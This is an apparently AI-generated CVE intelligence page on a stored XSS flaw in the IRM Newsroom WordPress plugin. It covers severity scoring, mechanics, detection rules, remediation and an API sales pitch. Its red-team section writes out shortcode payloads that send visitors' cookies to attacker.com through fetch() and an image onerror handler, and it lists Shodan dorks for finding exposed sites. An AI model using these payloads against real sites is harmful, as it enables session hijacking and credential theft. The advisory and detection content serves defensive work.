☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-4586

CVE-2025-4586 Cross-Site Scripting in Irm
📅 PUBLISHED: 2025-06-13 01:47 UTC 🔄 UPDATED: 2026-08-18 18:54 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.12%
👁️
0.12% probability
3.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-4586 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the IRM Newsroom plugin for WordPress, up to and including version 1.2.19. The flaw resides in the irmcalendarview shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least contributor-level privileges can inject arbitrary web scripts into pages. When other users (including administrators) access the compromised page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is part of the WordPress ecosystem and does not affect the underlying Apache or Nginx server software. The plugin is developed by Irm and is used to display calendar views within WordPress sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level access)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

The medium severity reflects the need for authenticated access but the potential for widespread impact due to the stored nature of the XSS and the lack of user interaction required for execution.

Deep Dive & Mechanics

The vulnerability is triggered through the irmcalendarview shortcode. WordPress shortcodes allow users to embed dynamic content via attributes. In this plugin, the shortcode processes user-supplied attributes without adequate input sanitization or output escaping. An attacker can craft a shortcode like:

[irmcalendarview some_attr="<script>alert('XSS')</script>"]

When the page is rendered, the malicious script is stored in the WordPress database and executed in the browser of any visitor viewing the page. The lack of proper escaping means that HTML and JavaScript are interpreted as code rather than plain text.

The attack flow:

  1. Attacker logs in with contributor-level or higher privileges.
  2. Attacker creates or edits a post/page and inserts the malicious shortcode.
  3. The shortcode is stored and rendered without sanitization.
  4. Any user (including admins) viewing the page triggers the XSS payload.

Vulnerable vs. Patched Code

Vulnerable Code (<=1.2.19): The shortcode handler likely directly outputs attribute values without escaping. Example (pseudocode):

function irm_calendar_shortcode($atts) {
    $attr = $atts['some_attr'];
    return "<div class='irm-calendar' data-attr='$attr'>...</div>";
}

Patched Code (hypothetical): The fix would involve using WordPress's built-in escaping functions:

function irm_calendar_shortcode($atts) {
    $attr = esc_attr($atts['some_attr']);
    return "<div class='irm-calendar' data-attr='$attr'>...</div>";
}

Additionally, output should be escaped with esc_html() or wp_kses() depending on context.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with IRM Newsroom plugin <=1.2.19
  • Contributor-level account credentials

Exploitation Steps:

  1. Log in as a contributor.
  2. Create a new post or edit an existing one.
  3. Insert the following shortcode into the post content:
    [irmcalendarview test="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
    
  4. Publish or save the post.
  5. When an administrator or other user views the post, the script executes, sending cookies to the attacker's server.

Alternative Payload (Session Hijacking):

[irmcalendarview test="<img src=x onerror='new Image().src=\"https://attacker.com/steal?cookie=\"+document.cookie'>"]

Blue Team

Detection:

  • Monitor for posts containing the irmcalendarview shortcode with suspicious attributes (e.g., <script>, onerror, onload).
  • Review WordPress logs for unusual shortcode usage by contributor-level users.
  • Use WAF rules to block common XSS patterns in shortcode attributes.

Prevention:

  • Update the plugin to a patched version (if available).
  • Restrict contributor-level users from using shortcodes that allow raw HTML.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/irm-newsroom/ (presence of vulnerable plugin)
  • Database: Posts/pages containing [irmcalendarview with suspicious attributes
  • Network: Outbound connections to attacker-controlled domains from WordPress admin pages
  • Logs: WordPress debug.log entries showing shortcode parsing errors or unexpected HTML

Detection Engineering

YARA Rule

rule CVE_2025_4586_IRM_Newsroom_XSS {
    meta:
        description = "Detects stored XSS payloads in IRM Newsroom shortcode"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4586"
    strings:
        $shortcode = /\[irmcalendarview\s+[^\]]*?(<script|<img\s+onerror|<svg\s+onload)/i
    condition:
        $shortcode
}

Sigma Rule

title: CVE-2025-4586 IRM Newsroom Stored XSS
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via IRM Newsroom shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'irmcalendarview'
        http.url|re: '(<script|<img\s+onerror|<svg\s+onload)'
    condition: selection
falsepositives:
    - Legitimate use of shortcode with safe attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4586 IRM Newsroom Stored XSS Attempt"; flow:to_server; content:"irmcalendarview"; http_uri; pcre:"/(<script|<img\s+onerror|<svg\s+onload)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if no patch is available.
  2. Restrict contributor-level users from using shortcodes via user role editor plugins.
  3. Implement a Web Application Firewall (WAF) rule to block XSS patterns in shortcode attributes.

Long-term Fix:

  • Apply the vendor's patch when released.
  • If no patch is forthcoming, consider replacing the plugin with an alternative.
  • Conduct a security audit of all WordPress plugins for similar vulnerabilities.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"IRM Newsroom"
http.html:"irmcalendarview"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-4586/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.